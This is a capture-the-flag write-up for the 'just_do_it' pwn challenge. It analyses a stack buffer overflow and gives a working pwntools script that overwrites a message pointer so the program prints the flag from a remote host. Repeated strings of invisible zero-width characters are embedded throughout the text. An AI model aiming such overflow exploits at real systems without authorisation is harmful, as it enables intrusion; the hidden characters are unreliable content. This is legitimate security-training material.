← Back to Writeups
CUSTOMEasypwn

pwn6 tw17_justdoit (just_do_it)

XESXOR9/2/20263 min read
#pwn#custom#easy#pointer_overwrite#puts_argument_redirect#stack_buffer_overflow

pwn6 tw17_justdoit (just_do_it)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: pointer_overwrite, puts_argument_redirect, stack_buffer_overflow

Summary

Task: NON-PIE x86-64 pwn (TokyoWesterns 2017 just_do_it) that fgets 63 bytes into a 0x30 stack buffer (overflow) and reads /flag into a fixed global at 0x4040c1 but never prints it. Solution: overflow only reaches the message-pointer at [rbp-0x8] (offset 0x28); overwrite it with the flag-global address so the trailing puts([rbp-0x8]) prints the flag — no ROP needed.

pwn6 tw17_justdoit (just_do_it) — pwn_spbctf

Description

Флаг лежит в /flag

English summary: This is the TokyoWesterns 2017 just_do_it challenge, re-hosted on pwn.spbctf.ru in the Pointers topic (tier pwn6 "Добор"). The flag is stored in /flag on the remote host. We get a NON-PIE binary that reads the flag into memory but never shows it; goal is to make it print the flag.

  • Remote: nc 109.233.56.90 11508
  • Author: Anatoly Korniltsev (@korniltsev)

Analysis

Binary protections: NON-PIE (loaded at 0x400000), NX, Partial RELRO, no stack canary, not stripped. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

main @ 0x401192 does the following:

  1. [rbp-0x8] = failed_message — a pointer to the "wrong password" string, set up first.
  2. fopen("/flag","r"), then fgets(flag+1, 0x30, fp) — reads the real flag from /flag into the global flag@0x4040c0 (the string content lands at 0x4040c1). The flag is now in process memory but is never printed.
  3. Prints the welcome / "Input the password." prompts.
  4. fgets(buf, 0x40, stdin) where buf = [rbp-0x30]. The buffer is only 0x30 bytes from rbp, but fgets reads up to 63 bytes → stack buffer overflow.
  5. strcmp(buf, PASSWORD) against "-[SUPASECRET]-". On match, [rbp-0x8] = success_message; otherwise [rbp-0x8] keeps whatever value it currently holds.
  6. puts([rbp-0x8]) — prints whatever pointer sits at [rbp-0x8]. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key observation: the message that gets printed is taken from a pointer on the stack at [rbp-0x8], and there is a usable stack overflow just before that pointer is dereferenced.

Solution

The overflow is only 63 bytes — too small for a full ROP chain (and we don't need one). Instead of redirecting control flow, we overwrite the data pointer that puts() is about to dereference.

Offset math:

  • buf = [rbp-0x30], message pointer = [rbp-0x8].
  • offset from buf to [rbp-0x8] = 0x30 - 0x8 = 0x28 = 40 bytes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So:

  • 40 bytes of padding to reach [rbp-0x8],
  • then p64(0x4040c1) — the address of the flag content in the global.

When we send a wrong password, the success branch is skipped, leaving [rbp-0x8] equal to our planted value 0x4040c1. Then puts([rbp-0x8]) becomes puts(0x4040c1) → it prints the flag.

p64(0x4040c1) = \xc1\x40\x40\x00\x00\x00\x00\x00 — no 0x0a byte, so fgets won't stop early. Total payload is 48 bytes, well within the 63-byte budget.

Primary address 0x4040c1 (flag content start, skipping the leading byte the program writes the flag after); fallback 0x4040c0 (the global base) in case of off-by-one framing. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
from pwn import *
import re, time

HOST, PORT = "109.233.56.90", 11508
context.arch = "amd64"

FLAG_RE = re.compile(rb"spbctf\{[^}]*\}")

def try_addr(flag_addr):
    # buf = [rbp-0x30]; the message pointer printed by puts() is at [rbp-0x8]
    # offset from buf to [rbp-0x8] = 0x30 - 0x8 = 0x28 = 40
    payload = b"A" * 0x28 + p64(flag_addr)
    assert b"\n" not in payload, "newline in payload"
    assert len(payload) < 64, "payload too long for fgets(0x40)"
    io = remote(HOST, PORT)
    io.recvuntil(b"password.", timeout=5)
    io.sendline(payload)
    data = io.recvall(timeout=6)
    io.close()
    m = FLAG_RE.search(data)
    return m.group(0) if m else None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def main():
    for addr in (0x4040c1, 0x4040c0):
        for _ in range(4):
            try:
                flag = try_addr(addr)
            except Exception as ex:
                log.warning("conn error: %s" % ex)
                flag = None
            if flag:
                print("[+] FLAG:", flag.decode())
                return
            time.sleep(35)  # remote rate-limit

if __name__ == "__main__":
    main()

Submit the recovered flag via POST to the platform tile; the tile then shows "solved". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍